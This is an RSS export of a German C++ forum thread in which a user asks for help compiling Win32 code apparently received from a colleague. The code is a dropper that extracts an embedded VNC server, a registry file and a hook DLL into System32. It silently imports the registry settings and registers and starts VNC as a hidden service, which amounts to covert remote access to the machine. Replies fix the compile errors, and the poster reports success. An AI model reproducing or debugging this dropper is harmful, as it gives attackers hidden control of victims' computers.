<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Fehler im Code]]></title><description><![CDATA[<p>Servus Gemeinde</p>
<p>ich hab einen Code mit dem ich nicht zurechtkomme, ich hab ihn von einem Kollegen bekommen der will ihn mir aber nicht compilieren....</p>
<p>da ich noch nicht viel erfahrung mit dem ganzen habe, wollte ich fragen ob mir jemand sagen kann wo der fehler liegt (oder vllt. sogar compilieren kann):</p>
<p>main.cpp</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;stdlib.h&gt;
#include &quot;res.h&quot;
#include &quot;functions.h&quot;

using namespace std;

/* define for microsoft compiler */

#define WIN32_LEAN_AND_MEAN

/* Global Variables */

HINSTANCE hInst;
string ProgrammPfad;
string ShellPfad;
string ConfigPath;
string DllPath;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
	//Get rid of thinking pointer 
	PeekMessage(0,0,0,0,0); 
	// get Instance for res extract
	hInst = hInstance; 

	//the programm path
		ProgrammPfad = GetProgPath();

	// System32-Path for vnc copy
        ShellPfad = GetSysPath();
		ConfigPath = GetSysPath();
		DllPath = GetSysPath();

	//Path for vnc
        ShellPfad +=&quot;vnc.exe&quot;;
		ConfigPath +=&quot;config.reg&quot;;
		DllPath +=&quot;wm_hooks.dll&quot;;

	//VNC extract
		ExtractRes (TDFILE1, hInst,ShellPfad);

	//Config extract
		ExtractRes (TDFILE2, hInst,ConfigPath);

    //Dlls extract
		ExtractRes (TDFILE3, hInst,DllPath);

	//Wait 5sec
        Sleep(5000);

	//Config
		ShellExecute(hInst,&quot;open&quot;,&quot;regedit.exe&quot;, &quot;-s config.reg&quot;, NULL, SW_HIDE);

	//Install Service
		ShellExecute(hInst,&quot;open&quot;,&quot;vnc.exe&quot;, &quot;-register&quot;, NULL, SW_HIDE);

	//Start Service
		ShellExecute(hInst,&quot;open&quot;,&quot;vnc.exe&quot;, &quot;-start&quot;, NULL, SW_HIDE);

	//Paths-tests
	//MessageBox(NULL,ProgrammPfad.c_str(),&quot;PPath:&quot;,MB_OK);
	//MessageBox(NULL,SystemPfad.c_str(),&quot;SPath:&quot;,MB_OK);

	return FALSE; /*  End of our program! */
}
</code></pre>
<p>sein tipp zu der ganzen sache:<br />
-&gt; achte auf die res ...</p>
<p>mehr hab ich nicht -,- wenn jemand die anderen datein noch brauchen sollte ich hänge sie mal an...</p>
<p>Vielen Vielen Dank schonmal!!!!!</p>
<p>res.h:</p>
<pre><code class="language-cpp">/***************************************************************/
/*						                                       */
/*					by netdragon©                              */
/*                                                             */
/* res.h : resource-header                                     */
/*                                                             */
/*                                                             */
/***************************************************************/

#define IDI_ICON1 101
#define	TDFILE1	  102
#define TDFILE2   103
#define TDFILE3   104
</code></pre>
<p>functions.h</p>
<pre><code class="language-cpp">/***************************************************************/
/*							                           */
/*					by netdragon©                              */
/*                                                             */
/* function.h : function-header                                */
/*                                                             */
/*                                                             */
/***************************************************************/
#include &lt;windows.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string&gt;
using namespace std;

// zum extrahieren von Resourcen
// ADS müsste auch möglich sein ...
void ExtractRes (unsigned short resname, HINSTANCE hInst, string name);//OK

string GetProgPath(); //OK
string GetSysPath();  //OK
</code></pre>
<p>functions.cpp</p>
<pre><code class="language-cpp">/***************************************************************/
/*					       		                           */
/*					by netdragon©                              */
/*                                                             */
/* functions.cpp                                              */
/*                                                             */
/***************************************************************/

#include &lt;windows.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string&gt;
#include &quot;functions.h&quot;
using namespace std;

//##########################################
//#		Funktion: ExtractRes               #
//#     Need: -				               #
//##########################################

void ExtractRes (unsigned short whichone, HINSTANCE hInst, string name)
{
	char *ResourcePointer;
	unsigned long ResourceSize,byteswritten;
	HRSRC ResourceLocation;
	HGLOBAL ResDataHandle;
	HANDLE FileHandle;

	ResourceLocation = FindResource(hInst,(const char *)whichone,RT_RCDATA);
	if (ResourceLocation == 0) { return; }

	/*Now get the size of the resource*/

	ResourceSize = SizeofResource(hInst,ResourceLocation);
	if (ResourceSize == 0) { return; }

	/*Now load it into global memory*/

	ResDataHandle = LoadResource(hInst,ResourceLocation);
	if (ResDataHandle == 0) { return; }

	/*Lock the Resource into memory and get a pointer to it!*/

	ResourcePointer = (char *)LockResource(ResDataHandle);
	if (ResourcePointer == 0) { return; }

	/* Now we create the file. */

	FileHandle = CreateFile(name.c_str(),GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	if (FileHandle == INVALID_HANDLE_VALUE) { return; }

	/* Now We Write to the file */

	WriteFile(FileHandle,ResourcePointer,ResourceSize,&amp;byteswritten,0);

	/* Now Close the file */

	CloseHandle(FileHandle);

	return;
}

//###############################################
//#		Funktion: GetProgPath                   #
//#     Need: -				                    #
//###############################################
string GetProgPath()
{

   //Definition notwendiger Variablen.
   char szBuffer[MAX_PATH+2];
   string a;

   //Zuerst holen wir uns mit GetModuleFileName() den kompletten Pfad unserer EXE.
   //Den Pfad speichern wir in szBuffer.
   GetModuleFileName (NULL, szBuffer, MAX_PATH);
   a = szBuffer;

   return a;
}

//##########################################
//#		Funktion: GetSysPath			   #
//#     Need: -				               #
//##########################################
string GetSysPath()
{
        string a;
        char target[MAX_PATH];

	GetWindowsDirectory(target, sizeof(target));

        a = target;
        a += &quot;\\System32\\&quot;;

	return a;
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/118066/fehler-im-code</link><generator>RSS for Node</generator><lastBuildDate>Fri, 03 Jul 2026 21:56:01 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/118066.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 14 Aug 2005 17:50:53 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Fehler im Code on Sun, 14 Aug 2005 17:50:53 GMT]]></title><description><![CDATA[<p>Servus Gemeinde</p>
<p>ich hab einen Code mit dem ich nicht zurechtkomme, ich hab ihn von einem Kollegen bekommen der will ihn mir aber nicht compilieren....</p>
<p>da ich noch nicht viel erfahrung mit dem ganzen habe, wollte ich fragen ob mir jemand sagen kann wo der fehler liegt (oder vllt. sogar compilieren kann):</p>
<p>main.cpp</p>
<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;stdlib.h&gt;
#include &quot;res.h&quot;
#include &quot;functions.h&quot;

using namespace std;

/* define for microsoft compiler */

#define WIN32_LEAN_AND_MEAN

/* Global Variables */

HINSTANCE hInst;
string ProgrammPfad;
string ShellPfad;
string ConfigPath;
string DllPath;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
	//Get rid of thinking pointer 
	PeekMessage(0,0,0,0,0); 
	// get Instance for res extract
	hInst = hInstance; 

	//the programm path
		ProgrammPfad = GetProgPath();

	// System32-Path for vnc copy
        ShellPfad = GetSysPath();
		ConfigPath = GetSysPath();
		DllPath = GetSysPath();

	//Path for vnc
        ShellPfad +=&quot;vnc.exe&quot;;
		ConfigPath +=&quot;config.reg&quot;;
		DllPath +=&quot;wm_hooks.dll&quot;;

	//VNC extract
		ExtractRes (TDFILE1, hInst,ShellPfad);

	//Config extract
		ExtractRes (TDFILE2, hInst,ConfigPath);

    //Dlls extract
		ExtractRes (TDFILE3, hInst,DllPath);

	//Wait 5sec
        Sleep(5000);

	//Config
		ShellExecute(hInst,&quot;open&quot;,&quot;regedit.exe&quot;, &quot;-s config.reg&quot;, NULL, SW_HIDE);

	//Install Service
		ShellExecute(hInst,&quot;open&quot;,&quot;vnc.exe&quot;, &quot;-register&quot;, NULL, SW_HIDE);

	//Start Service
		ShellExecute(hInst,&quot;open&quot;,&quot;vnc.exe&quot;, &quot;-start&quot;, NULL, SW_HIDE);

	//Paths-tests
	//MessageBox(NULL,ProgrammPfad.c_str(),&quot;PPath:&quot;,MB_OK);
	//MessageBox(NULL,SystemPfad.c_str(),&quot;SPath:&quot;,MB_OK);

	return FALSE; /*  End of our program! */
}
</code></pre>
<p>sein tipp zu der ganzen sache:<br />
-&gt; achte auf die res ...</p>
<p>mehr hab ich nicht -,- wenn jemand die anderen datein noch brauchen sollte ich hänge sie mal an...</p>
<p>Vielen Vielen Dank schonmal!!!!!</p>
<p>res.h:</p>
<pre><code class="language-cpp">/***************************************************************/
/*						                                       */
/*					by netdragon©                              */
/*                                                             */
/* res.h : resource-header                                     */
/*                                                             */
/*                                                             */
/***************************************************************/

#define IDI_ICON1 101
#define	TDFILE1	  102
#define TDFILE2   103
#define TDFILE3   104
</code></pre>
<p>functions.h</p>
<pre><code class="language-cpp">/***************************************************************/
/*							                           */
/*					by netdragon©                              */
/*                                                             */
/* function.h : function-header                                */
/*                                                             */
/*                                                             */
/***************************************************************/
#include &lt;windows.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string&gt;
using namespace std;

// zum extrahieren von Resourcen
// ADS müsste auch möglich sein ...
void ExtractRes (unsigned short resname, HINSTANCE hInst, string name);//OK

string GetProgPath(); //OK
string GetSysPath();  //OK
</code></pre>
<p>functions.cpp</p>
<pre><code class="language-cpp">/***************************************************************/
/*					       		                           */
/*					by netdragon©                              */
/*                                                             */
/* functions.cpp                                              */
/*                                                             */
/***************************************************************/

#include &lt;windows.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string&gt;
#include &quot;functions.h&quot;
using namespace std;

//##########################################
//#		Funktion: ExtractRes               #
//#     Need: -				               #
//##########################################

void ExtractRes (unsigned short whichone, HINSTANCE hInst, string name)
{
	char *ResourcePointer;
	unsigned long ResourceSize,byteswritten;
	HRSRC ResourceLocation;
	HGLOBAL ResDataHandle;
	HANDLE FileHandle;

	ResourceLocation = FindResource(hInst,(const char *)whichone,RT_RCDATA);
	if (ResourceLocation == 0) { return; }

	/*Now get the size of the resource*/

	ResourceSize = SizeofResource(hInst,ResourceLocation);
	if (ResourceSize == 0) { return; }

	/*Now load it into global memory*/

	ResDataHandle = LoadResource(hInst,ResourceLocation);
	if (ResDataHandle == 0) { return; }

	/*Lock the Resource into memory and get a pointer to it!*/

	ResourcePointer = (char *)LockResource(ResDataHandle);
	if (ResourcePointer == 0) { return; }

	/* Now we create the file. */

	FileHandle = CreateFile(name.c_str(),GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	if (FileHandle == INVALID_HANDLE_VALUE) { return; }

	/* Now We Write to the file */

	WriteFile(FileHandle,ResourcePointer,ResourceSize,&amp;byteswritten,0);

	/* Now Close the file */

	CloseHandle(FileHandle);

	return;
}

//###############################################
//#		Funktion: GetProgPath                   #
//#     Need: -				                    #
//###############################################
string GetProgPath()
{

   //Definition notwendiger Variablen.
   char szBuffer[MAX_PATH+2];
   string a;

   //Zuerst holen wir uns mit GetModuleFileName() den kompletten Pfad unserer EXE.
   //Den Pfad speichern wir in szBuffer.
   GetModuleFileName (NULL, szBuffer, MAX_PATH);
   a = szBuffer;

   return a;
}

//##########################################
//#		Funktion: GetSysPath			   #
//#     Need: -				               #
//##########################################
string GetSysPath()
{
        string a;
        char target[MAX_PATH];

	GetWindowsDirectory(target, sizeof(target));

        a = target;
        a += &quot;\\System32\\&quot;;

	return a;
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/852102</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/852102</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Sun, 14 Aug 2005 17:50:53 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Mon, 15 Aug 2005 05:10:52 GMT]]></title><description><![CDATA[<p>Die Fehlermeldungen, die du bekommst, wären echt hilfreich. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/852302</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/852302</guid><dc:creator><![CDATA[estartu]]></dc:creator><pubDate>Mon, 15 Aug 2005 05:10:52 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Mon, 15 Aug 2005 13:29:15 GMT]]></title><description><![CDATA[<p>sry vergessen,<br />
ich benutze dev-cpp<br />
und das kommt als fehler</p>
<pre><code>25 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In file included from D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp 
13:22 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\res.h [Warning] no newline at end of file 
 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
80 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
83 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
86 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
90 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp `SystemPfad' undeclared (first use this function)
</code></pre>
<p>das kommt beim compilieren der main.cpp</p>
]]></description><link>https://www.c-plusplus.net/forum/post/852571</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/852571</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Mon, 15 Aug 2005 13:29:15 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Mon, 15 Aug 2005 13:41:54 GMT]]></title><description><![CDATA[<p>So, also die 3 Fehler bei ShellExecute sind halbwegs klar - du übergibst einen falschen Typ. Ich würde da jetzt NULL versuchen, habe aber keine Ahnung, ob es funktioniert.</p>
<p>Ansonsten scheinst du mir im falschen Forum gelandet zu sein, ich sehe da keine MFC, nur API. Möchtest du verschoben werden? Drüben kann dir vielleicht eher jemand helfen. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/852584</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/852584</guid><dc:creator><![CDATA[estartu]]></dc:creator><pubDate>Mon, 15 Aug 2005 13:41:54 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Mon, 15 Aug 2005 14:15:35 GMT]]></title><description><![CDATA[<p>ja bitte verschiebs mal <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>ich werde das mit dem NULL mal versuchen</p>
]]></description><link>https://www.c-plusplus.net/forum/post/852601</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/852601</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Mon, 15 Aug 2005 14:15:35 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 05:25:06 GMT]]></title><description><![CDATA[<p>Dieser Thread wurde von Moderator/in <a href="http://www.c-plusplus.net/forum/profile.php?mode=viewprofile&amp;u=9713" rel="nofollow">estartu_de</a> aus dem Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=1" rel="nofollow">MFC (Visual C++)</a> in das Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=4" rel="nofollow">WinAPI</a> verschoben.</p>
<p>Im Zweifelsfall bitte auch folgende Hinweise beachten:<br />
<a href="http://www.c-plusplus.net/forum/viewtopic.php?t=39405" rel="nofollow">C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?</a></p>
<p><em>Dieses Posting wurde automatisch erzeugt.</em></p>
]]></description><link>https://www.c-plusplus.net/forum/post/852984</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/852984</guid><dc:creator><![CDATA[C++ Forumbot]]></dc:creator><pubDate>Tue, 16 Aug 2005 05:25:06 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 07:24:51 GMT]]></title><description><![CDATA[<p>Nuance schrieb:</p>
<blockquote>
<pre><code>13:22 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\res.h [Warning] no newline at end of file
</code></pre>
</blockquote>
<p>in res.h einfach ein enter nach 104</p>
<p>Nuance schrieb:</p>
<blockquote>
<pre><code>D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
80 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
83 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
86 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)'
</code></pre>
</blockquote>
<p>das du kein fenster hast benutz null<br />
<a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp" rel="nofollow">http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp</a></p>
<p>Nuance schrieb:</p>
<blockquote>
<pre><code>90 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp `SystemPfad' undeclared (first use this function)
</code></pre>
</blockquote>
<p>er findet keine variable SystemPfad <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /> wobei SystemPfad == ShellPfad<br />
ist</p>
<p>noch einige &quot;schönheitsfehler&quot; das #define WIN32_LEAN_AND_MEAN sollte vor<br />
dem #include &lt;windows.h&gt; stehen sonst macht es keinen sinn.<br />
die functions.h sollte includeguards besitzen. einem namespace in einem<br />
header öffnen könnte man auch als fehler ansehen, ...<br />
so jetzt höre ich aber auf <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/853034</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853034</guid><dc:creator><![CDATA[miller_m]]></dc:creator><pubDate>Tue, 16 Aug 2005 07:24:51 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 12:55:59 GMT]]></title><description><![CDATA[<p>danke schonmal,</p>
<p>ein paar fehler konnte ich mit hilfe deiner Tipps beseitigen<br />
jedoch hab ich jetzt noch diese fehler:</p>
<pre><code>D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
79 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp `ShellExecute' undeclared (first use this function)
</code></pre>
<p>vllt. kannst du da nochmal deine Hilfe beisteuern ? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/853384</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853384</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Tue, 16 Aug 2005 12:55:59 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 13:16:22 GMT]]></title><description><![CDATA[<blockquote>
<p>Header: shellapi.h<br />
Import library: shell32.lib</p>
</blockquote>
]]></description><link>https://www.c-plusplus.net/forum/post/853400</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853400</guid><dc:creator><![CDATA[flenders]]></dc:creator><pubDate>Tue, 16 Aug 2005 13:16:22 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 13:25:31 GMT]]></title><description><![CDATA[<p>#define WIN32_LEAN_AND_MEAN entfernen oder #include &lt;shellapi.h&gt;</p>
<p>generell steht in msdn immer unten was du benötigst (header, libs)</p>
<p>[edit]<br />
mal richtig langsam, ich habe ne schöne page für lean_and_mean gesucht aber keine gefunden, kennt jemand eine? was es bewirkt weis ich schon, wollt nur noch nen link dazu hinknallen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/853411</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853411</guid><dc:creator><![CDATA[miller_m]]></dc:creator><pubDate>Tue, 16 Aug 2005 13:25:31 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 13:31:18 GMT]]></title><description><![CDATA[<p>wenn ich shellapi.h einbinde, kommen mehr fehler als vorher, wenn ich<br />
#define WIN32_LEAN_AND_MEAN entferne ebenfalls</p>
]]></description><link>https://www.c-plusplus.net/forum/post/853417</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853417</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Tue, 16 Aug 2005 13:31:18 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 13:37:46 GMT]]></title><description><![CDATA[<p>Nuance schrieb:</p>
<blockquote>
<p>wenn ich shellapi.h einbinde, kommen mehr fehler als vorher, wenn ich<br />
#define WIN32_LEAN_AND_MEAN entferne ebenfalls</p>
</blockquote>
<p>welche fehler, meine glaskugel ist in der werkstatt <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<p>sieht es so aus?</p>
<pre><code class="language-cpp">#define WIN32_LEAN_AND_MEAN

#include &lt;windows.h&gt;
#include &lt;shellapi.h&gt;
// weitere includes
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/853420</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853420</guid><dc:creator><![CDATA[miller_m]]></dc:creator><pubDate>Tue, 16 Aug 2005 13:37:46 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 13:48:20 GMT]]></title><description><![CDATA[<p>stimmt, es sieht so aus:</p>
<pre><code>/* define for microsoft compiler */

#define WIN32_LEAN_AND_MEAN

#include &lt;windows.h&gt;
#include &lt;shellapi.h&gt; 
#include &lt;stdlib.h&gt;
#include &quot;res.h&quot;
#include &quot;functions.h&quot;
</code></pre>
<p>das sind die fehler:</p>
<pre><code>D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
82 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
85 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
88 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)'
</code></pre>
<p>vorher waren es weniger fehler, siehe oben die letze fehlerangabe</p>
]]></description><link>https://www.c-plusplus.net/forum/post/853431</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853431</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Tue, 16 Aug 2005 13:48:20 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 13:56:48 GMT]]></title><description><![CDATA[<p>miller_m schrieb:</p>
<blockquote>
<p>Nuance schrieb:</p>
<blockquote>
<pre><code>D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp In function `int WinMain(HINSTANCE__*, HINSTANCE__*, CHAR*, int)': 
80 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
83 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)' 
86 D:\Dokumente und Einstellungen\Nuance\Desktop\Drop\Main.cpp cannot convert `HINSTANCE__*' to `HWND__*' for argument `1' to `HINSTANCE__* ShellExecuteA(HWND__*, const CHAR*, const CHAR*, const CHAR*, const CHAR*, INT)'
</code></pre>
</blockquote>
<p>da du kein fenster hast benutz null<br />
<a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp" rel="nofollow">http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp</a></p>
</blockquote>
<p>habe ich schon erklärt, erster post von mir.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/853441</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853441</guid><dc:creator><![CDATA[miller_m]]></dc:creator><pubDate>Tue, 16 Aug 2005 13:56:48 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 14:05:50 GMT]]></title><description><![CDATA[<p>wenn ich das so mache wie du es gesagt hast, müsste die Funktion so aussehen:</p>
<pre><code class="language-cpp">//Config
  ShellExecute(hInst,&quot;open&quot;,&quot;regedit.exe&quot;, &quot;-s config.reg&quot;, NULL, NULL);
</code></pre>
<p>das bringt aber die gleichen fehler!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/853458</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853458</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Tue, 16 Aug 2005 14:05:50 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 14:11:09 GMT]]></title><description><![CDATA[<p>erster parameter ist das fensterhandle, da du keins hast (fenster) <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/27a1.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--right_arrow"
      title=":arrow_right:"
      alt="➡"
    /> NULL<br />
[cpp]ShellExecute(<strong>NULL</strong>,&quot;open&quot;,&quot;regedit.exe&quot;, &quot;-s config.reg&quot;, NULL, NULL);[/cpp]</p>
]]></description><link>https://www.c-plusplus.net/forum/post/853463</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853463</guid><dc:creator><![CDATA[miller_m]]></dc:creator><pubDate>Tue, 16 Aug 2005 14:11:09 GMT</pubDate></item><item><title><![CDATA[Reply to Fehler im Code on Tue, 16 Aug 2005 17:03:54 GMT]]></title><description><![CDATA[<p>viele danke euch beiden, es hat funktioniert!!!!</p>
<p>Mfg</p>
]]></description><link>https://www.c-plusplus.net/forum/post/853585</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/853585</guid><dc:creator><![CDATA[Nuance]]></dc:creator><pubDate>Tue, 16 Aug 2005 17:03:54 GMT</pubDate></item></channel></rss>